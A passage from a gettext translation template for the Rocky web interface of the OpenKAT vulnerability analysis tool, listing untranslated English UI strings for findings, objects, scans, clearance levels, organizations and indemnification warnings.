\"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: 